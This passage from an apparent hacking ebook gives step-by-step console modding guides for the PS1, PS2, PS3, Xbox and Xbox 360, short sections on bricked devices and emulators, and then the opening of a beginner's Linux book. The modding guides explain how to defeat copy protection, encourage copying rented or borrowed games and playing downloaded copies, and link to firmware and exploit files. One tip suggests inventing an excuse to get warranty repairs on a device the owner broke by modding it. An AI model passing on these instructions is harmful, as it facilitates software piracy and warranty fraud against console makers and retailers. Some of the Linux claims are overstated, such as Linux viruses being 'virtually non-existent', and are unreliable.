and correspond the number from the image to the modchip’s wire and solder
accordingly. You will need a small tip and a steady hand to pull it off successfully.
 Modchips are a little scary though, luckily there is a way to play burned discs with soldering. The disc-
swap method fools PS1s into verifying the copy protection on a different disc, and then the burned disc is
quickly put into the console instead. Here is how it is done.

1. Place a piece of tape over the sensor so discs can spin while the tray is open. While
opening and closing the tray you can see the button that the lid pushes to tell the
console it is closed. Tape it up so the console is always “closed”.

2. Put a legitimate disc into the tray and start the console.

3. The disc will spin fast, and then slow down to half speed. While it is halved, quickly
swap the legitimate disc for the burned copy. The process is quick and must be done in
less than a second.
4. The burned disc will spin at full speed and then slow down to half to scan for copy
protection. As soon as it slows, swap it back for the real PS1 disc.

5. Watch the screen, and as soon as it goes black switch back again to the burned disc and
close the tray. The fake disc will now play.

Both of these methods are how mods were done for years, but a new product entered the market which
simplifies PS1 hacking. The PSIO (http://ps-io.com/) is a piece of hardware that allows the PS1 to read
games from an SD card. For a fee the creator will install the handy device onto your PlayStation and
simplify playing bootleg and backup games forevermore.

PS2
 The PlayStation 2 remained a popular console for years after the last games were produced. Although
there exist hardware mods and complicated procedures, the easiest way to hack the PS2 console is to buy a
memory card. FreeMcBoot (FMCB) is a software exploit that hijacks the “fat” PS2 and allows custom
software to execute through a softmod. You can simply buy a FMCB memory card online for 10 dollars, or
you can create one yourself. You’ll need a fat PS2, a copy of AR Max EVO, a blank memory card, and a
USB flash drive.

1. Download a FreeMCBoot installer (http://psx-

scene.com/forums/attachments/f153/14901d1228234527-official-free-mc-boot-
releases-free_mcbootv1.8.rar) and put it on the flash drive.

2. Start AR MAX, plug in the flash drive and memory card.

3. Navigate to the media player and access “next item” to load FREE_MCBOOT.ELF on
the flash drive. Press play.

4. Follow the instructions and FreeMCBoot will install on the memory card.
5.

Now FreeMCBoot will have tons of great software preinstalled- all you have to do start the PS2 with
the modded memory card inserted and FreeMCBoot will temporary softmod your console. Playing backup
games is fairly easy as well.

1. Have the .iso file of the game you want to play on the computer.
 2. Download the ESR disc patcher (www.psx-scene.com/forums/showthread.php?
t=58441), run it and patch the .iso.

3. Burn a blank DVD with the modified .iso. ImgBurn is a great program for this.

4. Put the disc into the PS2, start the PS2, FreeMCBoot will load. Navigate to the ESR
utility on the menu. Launch it and the game will start.

PS3

The Playstsation 3 started out with functionality that allowed operating systems such as Linux to be
installed- turning a simple game console into a home computer. Hackers exploited “OtherOS” and
“jailbroke” the PS3. A modded device is capable of playing backup/downloaded games and “homebrew”
(indie) software. There are conditions that restrict the number of PS3 consoles that can be modded though.
Only PS3s with a firmware version 3.55 and below can be modified; you can check this through “Settings”,
“System”, and then “System Information”. If your PS3 happens to be updated beyond this point there is not
much that you can do to downgrade, and 3.55 PS3s are very expensive on eBay. We won’t explain the
downgrade process, but do research on the E3 Flasher to bring your version number to 3.55.

If your version number is below 3.55 the software must be updated to the correct version. DO
NOT let the PS3 do this automatically, or it will update past 3.55 and ruin our chances of modding. Instead
you will need to download the 3.55 update
(http://www.mediafire.com/download/dp6uhz4d15m3dll/ofw+3.55.rar, but the link may change), create a
folder on a blank flash drive called PS3. Inside that folder create an UPDATE folder. Extract the 3.55
update into the UPDATE folder and plug it into your PS3. Start PS3 recovery mode by holding down the
power button until you hear 3 total beeps. Recovery mode will start, and you will need to plug in a
controller to interact with the menu. Choose “update”, follow onscreen directions, and the PS3 will update
from the USB drive. You’ve now upgraded to 3.55.

To install custom firmware on your 3.55 PlayStation 3, follow the process below.
 1. Reformat your USB drive to FAT32 to clear it off completely.

2. Create a PS3 folder on the drive, then an UPDATE file within it.

3. Download and extract the .rar containing custom firmware

(http://www.mediafire.com/download/qzpwvu3qyaw0ep4/3.55+CFW+Kmeaw.rar, link
may change) into the UPDATE folder.

4. Put the update files onto the flash drive, boot into recovery mode, and install
PS3UPDAT.PUP. You now have custom firmware.

Playing games on a custom PS3 is a straightforward process using a tool called MultiMAN. The
application runs on the custom firmware and allows backing up and playing games. First, obtain a copy of
MultiMAN version 4.05 and up
(http://www.mediafire.com/download/16dbcwn51gtzu47/multiMAN_ver_04.78.02_STEALTH_%2820160328%29.zip
link may change), as these versions support the CFW that we installed. Extract it and put the files on a USB
drive, plug it in and start the modded PS3. In the “Game” section, select “Install Packages Files”, then
install the MultiMAN pkg file. The application will be installed.

One great feature of MultiMAN is making backups of discs right on the PS3. Rent a game or borrow
one from a friend, start MultiMAN, put a disc in the system, and the application will show you the game.
Access the options, and choose to “copy”. The game will be copied to the internal HDD and be playable
through MultiMAN without the disc. If you have downloaded copies of games, then MultiMAN will also
recognize them when they are plugged in via external hard drive, and you will be able to play them.

Overall there are limitless possibilities on PlayStation 3 custom firmware, and this book can never hope
to document them all. Be careful when flashing, and always triple check the procedures and research.
http://www.ps3hax.net/archive/index.php/t-18606.html contains a great guide for installing custom
firmware and playing backup games; check the website before following through with installing CFW.
There are a few other things to worry about, such as connecting to the internet on a CFW PS3. Sony servers
collect information on internet connected PS3s, and they could have the ability to remotely disable a PS3
that they detect running CFW. All of that aside, enjoy the hacking process and congratulate yourself for
attempting something particularly difficult and dangerous.

Xbox

The original Xbox is a popular console to hack because of the easy method and multiple features
gained from modification. You will need a flash drive, the Xplorer360 program (http://www.xbox-
hq.com/html/article2895.html), the hack files (http://www.1337upload.net/files/SID.zip, link may change- if
it does search for XBOX softmod files), a controller with a USB port, and a game that can exploit. Splinter
Cell works with the above files. Here is the softmod guide.

1. Start Xbox with USB drive plugged in. It will be formatted.

2. Plug USB into PC, extract the downloaded softmod files, and open Xplorer360.

3. Click “drive”, “open”, “hard drive or memory card”. Partition 0 will be the USB.

4. Drag the extracted softmod files into the 360 program and they will be put onto the
USB.

5. Plug the USB into the Xbox and move the files over onto the internal HDD.
 6. Start the game and load the save data (the softmod). Follow the onscreen prompts to
hack the Xbox.

With the softmodded Xbox you can do plenty of neat media center things, such as play video and audio, or
even use emulators. Check online for all possibilities.

Xbox 360

Xboxes with a dashboard before 7371 (kernel 2.0.7371.0) are hackable, those with a later version must use
the “RGH” method. Exploited 360s can run backup games and homebrew applications. The process
(known as JTAG) is too difficult and varied to cover completely here, so we’ll only go over a brief
overview. The motherboard that your 360 has determines which process to follow, so pay close attention.

1. Assemble necessary parts (1 DB-25 connector, 1 DB-25 wire, a 1n4148 diode, 3 330
ohm resistors (xenon motherboards)).

2. Wire resistors to motherboard to create a custom cable to plug into computer.

3. Plug DB-25 connector into computer and dump the “nand” using software in the link.

4. Test CB in nand to ensure specific model is exploitable.

 5. Select the correct file for flashing and flash the motherboard. Copy the CPU key after
booting back up. Your 360 will be modded but thoroughly useless on its own. Use
separate programs such as X360GameHack to play backup and downloaded games.

Here is a great video of the 360 hacking process. Be careful, because this 360 and the PS3 hack are
very dangerous and could brick the consoles.
What to do with a Bricked Device

Sometimes a modification fails. Even though a device may seem lost, they are not always totally
bricked. Once you’ve given up on a device and are ready to throw it in the trash, consider the following
options.

Try flashing again. Maybe the process will complete fully this time and make the
device usable again.

If a jailbreak failed, boot into recovery mode and try restoring from a computer with
iTunes.

Research the problem and exactly where it went wrong. Maybe other people have had
the same situation and resolved it.

If the device is under warranty you can make a plausible excuse for why it isn’t
working. (iPhone got overheated so now it doesn’t boot!)
Scrap the device for parts. Just because one part is broken doesn’t mean everything else
is.

Sell it on eBay. People pay a decent amount of money for parts.

Bricked devices are not useless, so never just throw one away without at least attempting to revive it.
PC Emulators

If you don’t have a console or are too nervous to mod them, you could always use your PC to play
console games. Emulators on PC are great for any hacker with a strong computer. Computers and their
high powered graphics processing capabilities open up emulation of more modern systems, such as
PlayStation 2, Dreamcast, or even something as new as the Xbox 360. Refer to the table below for a few of
the best PC emulator programs that you can download.

Emulators for Windows 7, 8, and 10

Console Recommended Emulator Alternative

NES Mednafen FCEUX
SNES Higan/bsnes ZSnes
Arcade Games MAME N/A
Gameboy VisualBoy Advance M NO$GBA
DS DeSmuME NO$GBA
Genesis/Game Gear/Sega CD Fusion Genesis Plus GX
Saturn SSF Yabause
N64 Project64 Mupen64Plus
Gamecube/Wii Dolphin N/A
PS1 ePSXe PCSX
PS2 PCSX2 Play!
PSP PPSSPP PSP1
PS3 ESX RPCS3
Xbox XQEMU Xeon
Xbox 360 Xenia N/A
Wii-U CEMU Decaf

Some of the above emulators might be depreciated or gone when you read this, but at the current
date these are the best programs that you can download for Windows in terms of emulation. Certainly the
more modern consoles, such as Xbox 360, require the equivalent of a supercomputer to run well; older
consoles like the N64 are emulated almost perfectly on more basic hardware.
Conclusion

The world of mobile hacking, jailbreaking, rooting, console modding, and emulation is a peculiar
one. Customization and freedom are available to those that can achieve it, but hacking is always a
dangerous task with serious consequences. Only warranties and contracts are at stake with personal
hacking, but hacking others can catch the attention of authorities.

Always remember to hack ethically, or at least stay hidden and protect yourself for more fiendish
actions. Ultimately though, aren’t mobile carriers and console makers the despicable ones for locking away
true ownership of the devices that we buy? Thank you for purchasing and reading this book. Be sure to
leave feedback if you’d like to see more hacking guides.
 Hacking University Senior Edition

Linux

Optimal beginner's guide to precisely learn and

conquer the Linux operating system. A complete step-
by-step guide in how the Linux command line works

BY ISAAC D. CODY
Table of Contents

Introduction

History of Linux

Benefits of Linux

Linux Distributions

Booting Into Linux

Ubuntu Basics

Installing Linux

Managing Hardware and Software

The Command Line / Terminal

Managing Directories

Apt
More Terminal Commands

Connecting to Windows / Mac Computers

Useful Applications

Administration

Security Protocols

Scripting

Advanced Terminal Concepts

I/O Redirection

More Linux Information

What Next and Conclusion

Copyright 2016 by Isaac D. Cody - All rights reserved.

This document is geared towards providing exact and reliable information in regards to the topic and issue
covered. The publication is sold with the idea that the publisher is not required to render accounting,
officially permitted, or otherwise, qualified services. If advice is necessary, legal or professional, a practiced
individual in the profession should be ordered.

- From a Declaration of Principles which was accepted and approved equally by a Committee of the
American Bar Association and a Committee of Publishers and Associations.

In no way is it legal to reproduce, duplicate, or transmit any part of this document in either electronic means
or in printed format. Recording of this publication is strictly prohibited and any storage of this document is
not allowed unless with written permission from the publisher. All rights reserved.

The information provided herein is stated to be truthful and consistent, in that any liability, in terms of
inattention or otherwise, by any usage or abuse of any policies, processes, or directions contained within is
the solitary and utter responsibility of the recipient reader. Under no circumstances will any legal
responsibility or blame be held against the publisher for any reparation, damages, or monetary loss due to
the information herein, either directly or indirectly.

Respective authors own all copyrights not held by the publisher.

The information herein is offered for informational purposes solely, and is universal as so. The presentation
of the information is without contract or any type of guarantee assurance.

The trademarks that are used are without any consent, and the publication of the trademark is without
permission or backing by the trademark owner. All trademarks and brands within this book are for
clarifying purposes only and are the owned by the owners themselves, not affiliated with this document.
Disclaimer

All rights reserved. No part of this publication may be reproduced, distributed, or transmitted in any form or
by any means, including photocopying, recording, or other electronic or mechanical methods, without the
prior written permission of the publisher, except in the case of brief quotations embodied in critical reviews
and certain other noncommercial uses permitted by copyright law.
Introduction

Computers contain two functional components- software and hardware.

The hardware is the physical parts that spin, compute, and use electricity to
perform calculations, but software is a more virtual concept. Essentially,
software consists of programming code that gives instructions to the hardware-
telling the parts what to do. There is “high level” software such as Internet
browsers, word processors, music players, and more. But the often overlooked
component is the “low level” software known as an operating system.

Operating systems are required for our personal computers to work. At an

office, or with a relatively inexpensive desktop computer the operating system
used is probably Microsoft’s Windows. Content creators, writers, and graphic
artists prefer Apple computers because they come with the creativity-focused
OSX operating system. Those two OS’s, Windows and OSX, have dominated
the consumer market for many years. However, an alternative operating system
exists that excels in usability, customization, security, and price. OS’s based off
of the relatively unknown Linux meet and exceed in all of those areas, but it
remains an obscure option that many people have not even heard of.

Linux is not an operating system by itself. It is a kernel, or the “core” of

an OS. Just as Windows NT is the kernel of Windows 7, Linux is the kernel of
“distributions” such as Ubuntu, Debian, Arch, Fedora, and more.

But why would anybody abandon the familiarity of Windows for an

unheard of computing environment? Linux is not only monetarily free, but it is
also compatible with a huge range of devices. Older computers, and especially
ones that no longer work can be rejuvenated with a Linux OS, making it run as
though it were new again.

This book will explicate upon the benefits of switching to Linux, as well
as serve as a beginners guide to installing, configuring, and using the most
popular distribution. Then, the terminal command line will be explained to tell
how to take advantage of the OS in ways not possible in other systems. Truly
there are many advantages to be gained by switching to Linux, and you just
might find a suitable primary OS to use on your computers by reading this book.
History of Linux

In the early 1990s Linus Torvalds was a student in Finland. Computers of

the time usually ran on either DOS or UNIX, two operating systems that were
both proprietary and difficult to use at the time. Torvalds sought to create his
own operating system as a hobby project (based off of UNIX), but the project
quickly grew and attracted more developers. The kernel continued to transform
until it was portable (usable on a variety of systems) and entirely usable for
computing. A kernel is not an OS, though, so Linux was combined with the
GNU core utilities to create a computing environment reminiscent of an
operating system.

Then, 3rd party organizations took the base Linux product and added their
own high level software and features to it, thereby creating Linux
“distributions”. Linux remains a free hobby project even through today, and thus
the kernel is continuously receiving updates and revisions by Torvalds and the
community. Throughout the 2000s, many other 3rd parties saw the usefulness of
the Linux environment and they began to incorporate it into their production
environments and corporations. Today, Linux is known for being highly used in
servers and business settings with a small dedicated desktop following. Working
towards the future, the kernel has reached a level of popularity where it will
never die out. Large companies revel in Linux because of its advantages and
usefulness, and so the kernel and various distributions will always exist as the
best alternative operating system.
Benefits of Linux

To compare how great of an option Linux is for a computer, we shall

compare it to the more familiar modern operating systems.

First, Linux is free. The background of GNU places Linux into a “free
and open source” mentality where most (if not all) of the software shipping with
Linux is free. Free and open source (FOSS) refers to two things- the software is
both monetarily free and the source code is also transparent. FOSS differs from
proprietary software in that everything is open with FOSS, and there are no
hidden spyware, fees, or catches involved with using it. The software is often
more secure because anybody can contribute to the readily available source code
and make it better. Because Linux and most of the software you can download
for it is free, it is a fantastic operating system for small businesses or individual
users on a budget. Certainly no quality is sacrificed by not charging a fee,
because the Linux project and its various distributions are community-driven and
funded through donations. Compare this to the cost of Windows, which is often
many hundreds of dollars for the OS alone. Microsoft Office is a popular
document writing program suite, but it also prices high. Free alternatives to
these programs exist in Linux, and they definitely compare in quality to the big
name products.

Probably the largest complaint held by PC owners is viruses. Windows

computers are especially susceptible to them, and even anti-virus software
companies are always playing catch-up to the newest threats. Simply visiting a
malicious website is often enough to infect a computer, and many users choose
Mac computers because of the significantly less frequency of incidents relating
to malware. Linux-based operating systems are similar to Macs in that viruses
are virtually non-existent. This increased security makes switching to Linux a
must for anybody concerned about privacy, security, or reliability.

Linux is very popular within corporations and government agencies. This

is because high-powered servers and critical devices will run remarkably better
with Linux as the operating system. The OS is known for reliability and stability
too. While a Windows computer will need regular restarts and maintenance to
“freshen” it up and keep it from running slow, Linux servers can run months or
even years without a single restart. IT professionals inevitably choose Linux to
be the backbone of their network because of its reputation. Its renowned
stability is available to consumers as well on the desktop platform, and it is
definitely useful for us as well.

Perhaps the best benefit to using Linux is the speed. Low system
requirements mean that computers that are normally slow and groggy on
Windows will be zippy and quick on Linux. Users frustrated with computer
slowdowns can replace their OS for a more responsive experience. Furthermore,
Linux can be installed on older computers to reinvigorate them. So even though
that old laptop may be too outdated for the newest version of Windows, there
will probably be a distribution of Linux that will squeeze a few more years of
useful life out of it.

Customization is a sought after feature in technology. Windows, and

especially OSX, limit the amount that you can do with your operating system out
of fear that the average user would break it. This is not the case with Linux, as it
encourages editing and changing visuals and functionality of the OS. Of course
it is not necessary, and the default configuration of most Linux distributions is
extremely stable and difficult to break unintentionally. But for those that love
jailbreaking, modding, and playing around with computers, Linux can facilitate
the creative side and even provide curious hackers with access to tools
unavailable in other systems.
 And finally, Linux is compatible with a huge range of devices. Linux can
run on almost any architecture, meaning it can be installed on cell phones,
desktops, laptops, servers, game consoles, and “smart” devices. Hobbyists take
pleasure in simply installing Linux on niche, old, or quirky devices simply
because they can. For the average user, it means that Linux is probably
compatible with your computer.

Overall, Linux beats out the mainstream operating systems in many areas.
All of these things definitely make Linux the better choice for your computer,
and you should use it to gain access to these revered features. Artists, hackers,
creative individuals, small business owners, techies, non-techies, and just about
everyone can find something to like about Linux. The wide range of
distributions means there is something for everyone, so install Linux today to see
what you can gain from it.
Linux Distributions

Installing Linux can be done in a few ways, such as burning an image of

the OS onto a disc, writing it to a USB, ordering a Live CD from online,
formatting an SD card, or trying one out via Virtual Box. Ultimately though you
cannot just install “Linux” and have a usable OS. Because Linux is just the
kernel, you will need the other software as well that gives you graphical user
interfaces, Internet access, etc… As previously mentioned, “distributions” of
Linux exist. Distributions are versions of Linux containing preinstalled
programs and a distinctive style and focus. A distribution takes the core of
Linux and makes it into an entire operating system fit for daily use.

There are a mind-boggling amount of distributions. Some have specific

purposes, such as Kali Linux for hacking, Sugar Linux for education, or Arch
Linux for customization. Others are more general purpose, such as Ubuntu and
Debian. Getting the most out of installing Linux means you will need to
understand about different distributions and make a choice as to which will work
best for you. Read the following sections to understand what a few of the most
popular distributions are used for.

Ubuntu is the most widely known distribution at the time of writing.

Throughout the 2000’s it gained popularity for being user friendly and intuitive.
Based off of the earlier Debian distro, Ubuntu is very similar to Windows
computers in use, meaning it is an excellent choice for the Linux newbie.
Because of this, we will be installing an Ubuntu variant later in the book.
Canonical Ltd is the company that actively develops Ubuntu- yearly versions
updates mean that the OS is always up to date and usable with emerging
technology. Despite this, Ubuntu still work on many older devices at a
reasonable speed. Applications can be installed from a “store” of sorts, meaning
that the beginning user does not need to understand the often complicated
command line. Conclusively, the Ubuntu distro is a great choice for the first
time Linux user, and you should install it to learn how Linux works without
diving into the harder distros.

For more specific cases of computing, Ubuntu has various sub-distributions

or “flavors”. These are distros that use Ubuntu as a base but have a different
focus, such as Lubuntu’s emphasis on lightweight applications. Here are a few:

Lubuntu – A version of Ubuntu designed to run on older

hardware or computers with limited resources. The install file is
less than 1GB, and the hardware requirements are much lower
than standard Ubuntu. Use this distro for revitalizing older
computers but while retaining the usability of Ubuntu.

Ubuntu Studio – Ubuntu for artists including digital painters,

sound producers, and video editors. Ubuntu studio is Ubuntu but
with editing tools installed already.

Kubuntu – Ubuntu reskinned with the KDE desktop

environment. The look and feel of Kubuntu differs from the
classic Ubuntu feel by providing a desktop environment that is
more traditional to other operating systems.

Xubuntu is another lightweight distro that is not as quite as bare

bones as Lubuntu. Xubuntu sacrifices size and hardware
 requirements to provide an OS that works on old, but not too old
computers. It certainly is more aesthetic than other minimal
Linux distributions, and it also uses Ubuntu as a base for user-
friendliness and familiarity.

Ubuntu Server – A Ubuntu variant more suited to industrial and

corporate needs, Ubuntu server can be run headless and provide
functionality for other Linux systems in a network.

Mythbuntu – A variant with TV streaming and live television

programs preinstalled. This is a great distro for converting old
computers into “smart TV” devices via Kodi.

In conclusion, the wide range of Ubuntu distributions mean that there is a

beginner OS for everybody. It is highly recommended that you take advantage
of the ease of use features and general familiarity contained within Ubuntu. It
serves as a stepping stone OS, one that will gradually introduce you to Linux.
Definitely install it as your first Linux experience.

Linux Mint is a highly used OS in the Linux world. “Powerful and easy to
use”, Mint contains FOSS and proprietary software as well with the purpose of
being a complete experience for Linux beginners. While not totally Linux-like,
Mint is an excellent choice for a first-time alternate operating system. It
consistently ranks among the most used operating systems ever, and its default
layout is very similar to Windows facilitating a smooth transition into the Linux
world.
 Debian is one of the oldest Linux distributions, being created in 1993.
Combining with the Linux philosophy, Debian keeps stability and solidity as the
guiding development principal. Certainly the amount of time Debian has been
around is an indicator of refinement, so those seeking an experience free of bugs
and glitches can turn to Debian. Free and open source software also has a home
in Debian, because most of the software contained within is FOSS. This does
not mean that you are limited, though, because there is an official repository of
non-free software for proprietary programs such as Adobe Flash. Debian is a
decent choice for beginners, but Ubuntu still stands as the best introductory OS.
Install Debian for stability, FOSS, and a wholly Linux experience.

Slackware is an OS that goes back even further than Debian. It stays close to
the original Linux intent, meaning that you will have to install your own GUI
and program dependencies. Because of that fact, Slackware is mostly for
intermediate Linux users, as beginners will be confused at the unfamiliar
methods. However, if you want to experience a Linux distribution that is closer
to the UNIX roots, Slackware can provide for you.

Fedora is an OS more oriented towards workstations and business uses. Even

Linus Torvalds himself is a user of Fedora, attributing to the operating system’s
popularity and use. Fedora is updated very often, meaning that it is always up-
to-date and on the cutting edge of Linux technology. Security and FOSS are also
a focus within the OS, which is why it is commonly used on endpoint computers
in small businesses. There could be a challenge with working with Fedora,
though, so consider it as an intermediate OS.

Arch Linux is another distribution, but one that is mostly designed for
experienced users. The OS comes as a shell of a system that the user can
customize to their liking, by adding only the programs and services that they
want. Because of this, Arch is difficult to set up, but a rewarding and learning
experience as well. By building your own personal system, you will understand
the deeper Linux concepts that are hidden from you on the higher level
distributions. Install this advanced OS after becoming very comfortable with the
basics.

And finally, there is an abundance of other unique distributions that are worth
mentioning. In the following list, we will talk about a few of them. Just note
that there are so many distributions, this entire book could be filled describing
each and every niche use.

CrunchBang – A Debian-based distribution that aims to be less

resource intensive. It is simple and without some of the
bloatware that some distributions include by default.
CrunchBang can run fast and be efficient at computing.

Android – The popular phone OS is actually a Linux variant.

Since many phones have lower specifications than full desktop
PCs, the OS is a great choice for laptops, touchscreen devices, or
home media computers. Furthermore, you can use many of the
Google Apps from the Play store, meaning that thousands of
apps, games, and utilities are available to be used on your phone
and computer. While it is not recommended as your first Linux
OS, it is definitely a neat choice for experimenting with older
computers or children’s PCs.

Chrome OS – Another mobile-type OS developed by Google,

Chrome OS is essentially a lightweight Linux browser meant for
 online use. Google has this OS preinstalled on their
ChromeBooks, which have lower specifications than other
laptops. But the OS is really only a full screen Chrome browser,
so the OS is perfect for users wanting an uncomplicated
experience or a dedicated Internet machine.

Tiny Core – An OS measured in megabytes, Tiny Core is for

antique computers or embedded devices. This OS is mostly for
intermediate users that have a hobby project or dedicated purpose
in mind.

Damn Small Linux – Another minimal Linux variant, this OS is

best for quick access to a Linux command line.

openSUSE – This is a distribution for experienced computer

users. With many tools for administrators and program
developers, openSUSE is the best OS for users confident in their
skills.

Positively the number of operating systems based off of the Linux kernel is
astounding. With a huge amount of choices, you might be confused as to where
to start and how to install it. When in doubt (and as we will demonstrate
shortly), install Ubuntu or one of its variants. The OS is great for beginners and
makes the Linux transition smoother. But as you increase in skill and wish to
learn more about Linux, you can always install another operating system.
Booting Into Linux

If you are ready to take the plunge into a Linux based distribution, the first
thing you must do is back up your files. Overwriting the OS on your hard drive
will erase any data contained within, meaning you must back up any pictures,
music, or files you wish to keep after the transition. Use an external hard drive,
or an online data storage site (such as Google Drive) to temporarily hold your
files. We are not responsible for you losing something important, back it up!

Next we will need to choose an OS. This book will use Ubuntu 16.04 as
an extended example, and it is recommended you do the same. Navigate to
Canonical’s official website (http://www.ubuntu.com) and acquire a copy of the
OS. You will download the image from the site to your computer.

Next we need to obtain an installation media. This can be a DVD, a USB

drive, an SD card, or any other writable media that your computer can read. The
only restriction is that the device must be able to hold an image as large as the
OS download, so 4GB should be suffice. Remove everything from the drive, as
it will also be formatted.

Download a tool for writing the image file. For DVDs install Imgburn
(http://www.imgburn.com/), and for flash media download Rufus
(https://rufus.akeo.ie/). The most common method of OS installation is to use a
4GB USB drive, and it is more recommended. Insert your media, start the
appropriate program, select the OS image that was downloaded, and begin the
writing process. It will take some time, as the image needs to be made bootable
on the media. When it is finished, you can shut down your computer fully.

This is the point to make double sure you are ready to install Linux.
Check that your files are backed up, understand that you will be erasing your
current OS, and preferably have a Windows/OSX install disc handy in case you
decide to switch back. If you are indeed ready to switch, continue.

With the installation media still inserted, turn on your computer. The first
screen that you will see is the BIOS / UEFI POST screen, and it will give a
keyboard button that you should press to enter setup. This screen shows every
time you boot, but you probably pay no attention to it. Press the indicated key to
enter the BIOS setup. If you are too slow, the screen will disappear and your
usual OS will begin to load. If this happens, simply shut the computer back
down and try again.

Once within the BIOS / UEFI, you will have to navigate to the “boot
order” settings. Every computer’s BIOS / UEFI is slightly different, so we
cannot explain the process in detail. But generally you can follow button
prompts at the bottom of the screen to understand how to navigate. After
arriving at the boot order settings, place your boot medium at the top of the list.
As an example, if you used a USB drive, then you would see its name and have
to bring it to the top of the list. These settings control the order in which the PC
searches for operating systems. With our boot medium at the top of the list, it
will boot into our downloaded Linux image instead of our usual OS. Save your
settings and restart the computer. If everything was done correctly the computer
will begin to boot into Ubuntu.
But if something goes wrong, try troubleshooting it with these tips:

Primary OS boots instead of Linux – You probably did not save

the settings with your alternate boot medium at the top of the list.
The PC is still defaulting to the internal HDD to boot.

“No boot media found” – Did you “drag and drop” your Linux
image onto the media instead of writing it? Without explicitly
telling the computer it is bootable, it will not know what to do
with the data files on the media. Alternatively, you could have a
corrupted download, or an incomplete write. Try downloading
the image again and making another installation.

“Kernel Panic” – Something is wrong with the boot process. See

above for the possibility of a corrupted installation. Otherwise,
the image you are trying to install may not be compatible with
your hardware. IF you see any other error messages, do an
Internet search on them. For prebuilt computers and laptops,
search for the model name and Linux to find other user’s
experiences. Finally, you might have attempted to install a 64-bit
image on a 32-bit computer. With your next image download,
specifically select a 32-bit image.

“Problem reading data from CD-ROM…” – Try using a different

install medium, because some distributions no longer support CD
and DVD installations. USB drives are recommended.
 PC seems to boot, but there is nothing at all on the screen – If you
are using a dedicated graphics card (compared to integrated GFX
from the CPU), Linux might not be recognizing it completely.
Plug your monitor into the motherboard directly instead of the
card.

But most of those problems are rare or simply due to user error. Linux has
high compatibility and is relatively easy to install/use past the initial installation.
The typical user will have Ubuntu boot successfully at this point, and they will
be presented with a working computing environment.

The desktop you see is referred to as a “Live CD”, which is pretty much a
demonstration of the OS and how it works. You have not actually installed the
OS to your hard drive yet, as it is still running directly from your boot media. It
is a chance for you to test out Linux without actually removing your primary OS,
so take the opportunity to explore how Linux distributions work.
Ubuntu Basics

Similar to Windows, Ubuntu has a desktop graphical user interface.

Applications open within Windows that can be maximized, minimized, closed,
and moved around with the top bar. Ubuntu also has a “task bar” of sorts that
functions much like its Windows counterpart- icons resemble programs that can
be launched by clicking on them. The “Windows Button” (called the Dash
Button) on the task bar is used to open a search functionality from which you
can type in the name of a program or file on your computer to quickly start it.

Furthermore, there is a bar at the top of the screen that works like the
“menu” bar of other operating systems. This is where drop-down menus such as
“file”, “edit”, “help”, etc… will appear once a program is active.

Besides a few nominal differences Ubuntu functions is a very familiar

way. In fact, many of the programs that you may already use on other operating
systems, such as Firefox, are available and sometimes preinstalled on Linux
distributions. With enough experimentation and practice, you will be able to
navigate the GUI of Ubuntu as if you were a professional. Continue exploring
the system, and continue if you are ready to replace your main operating system
with this Linux one.
Installing Linux

On the desktop, you will see an “Install Ubuntu 16.04 LTS” icon. Double
clicking it will launch an application that makes installation very easy. If you are
not connected to the Internet, do so now by plugging in an Ethernet cord or by
connecting to Wi-Fi from the top right icon. Select your language and click
“continue”. The next prompt will ask whether you would like to download
updates and install third-party software during the OS installation. These
options are highly recommended for beginners, so check them and click
“continue”.

The application will move on to another screen asking for your install
method. There are various options, such as erasing the disk altogether, installing
alongside your primary OS, or updating a previous version of Linux. Select an
option that works best for you. If you are still hesitant about making a full
switch, elect to install Ubuntu as your secondary OS. That option will allow you
to choose which OS to boot into after the BIOS screen. Nevertheless, select
your option and click “install now”.

While Ubuntu installs, you can specify a few other options, such as your
time zone, computer name, account name, and password. The entire installation
should not take too long, but it will take long enough that your computer should
be plugged in (if it is a laptop). After finishing, the OS will require a reboot.
Congratulations, you now have a usable Linux system on your computer.
Throughout the next chapters in this publication we will focus on Linux
concepts, how do achieve certain tasks, and how to further your knowledge of
your system.
Managing Hardware and Software

Hardware in Linux is actually much easier to manage than hardware on

Windows. Instead of downloading individual drivers for devices, most of the
drivers are built-in to the OS itself. This means that most popular devices can
simply be installed with no further steps involved before they are usable.
Printers, networks, hard drives, and other common devices are included- fiddling
with drivers is not usually needed on Linux.

However, powerful graphics cards and other specific hardware will need
proprietary drivers from that company to function to full efficiency. Because
although your graphics card works by default with Linux, the secret and often
hidden technology within can only be fully utilized with that company’s
software. On Ubuntu the process is straightforward- open the “additional
drivers” application and let the OS search for you. After determining whether
you have the devices, it will ask you which version of the driver to use. Follow
any on-screen prompts to enable the 3rd party drivers. For any devices that do
not appear, do Internet research on the manufacturer’s website to determine
whether they released a specific Linux driver that you can download.

Software is another aspect of Linux that excels over Windows. Much like
an Apple computer, Ubuntu has an app store of sorts from which you can search
through repositories of applications that are compatible with your device to
download and install with just a few clicks. Just search for the “Ubuntu
Software Center” from dash to open the application. From there you can browse
individual categories such as “Games”, “Office”, or “System” for a list of
programs, or you can search directly by name. After finding a program, click on
it and then queue up the download by clicking “install”. After authenticating
yourself the software will automatically download and install. From there, the
application can be run by searching for it in the dash.
 Another method of installing software is available through the terminal,
but we will discuss that later. Ubuntu is not totally limited to software found in
the app store, because programs downloaded from the Internet can also be
installed. Once again, we will touch on that subject after discussing the
terminal.

Overall, managing hardware and software in Ubuntu is effortless.

Whether installing a new hardware device or downloading a popular program,
Linux distributions make you’re computing experience trouble-free. That is not
to say that Linux is wholly meant for beginners, because as we will learn Linux
is definitely a great choice for power users and experienced admins.
The Command Line / Terminal

Before modern computers, hardware and software were interfaced by

using keyboards exclusively. The mouse brought graphical interfaces and
simplified the process, but many functions remained text-only as to not present
complicated options to end users. In Linux, this process continues today. There
exists the GUI that is present on most distributions, but every Linux distro also
has a built-in text-based interface as well, from which powerful commands can
be typed and executed. Think of the terminal as a much more powerful
command prompt, because you can completely use your computer exclusively
through the terminal alone. With enough knowledge, a user can actually browse
the Internet, install programs, manage their file system, and more through text.

Begin the terminal by launching it from dash or by using the Ctrl+Alt+T

keyboard shortcut. A purple window will open and wait for your input. You can
type a command and press enter to activate it. For our first command, enter
“ls”. This is short for list, and it will display all of the files within our current
directory. You will be able to see the files and folders in Home, Ubuntu’s main
user folder. If you are lost, you can always type in “pwd” to print the working
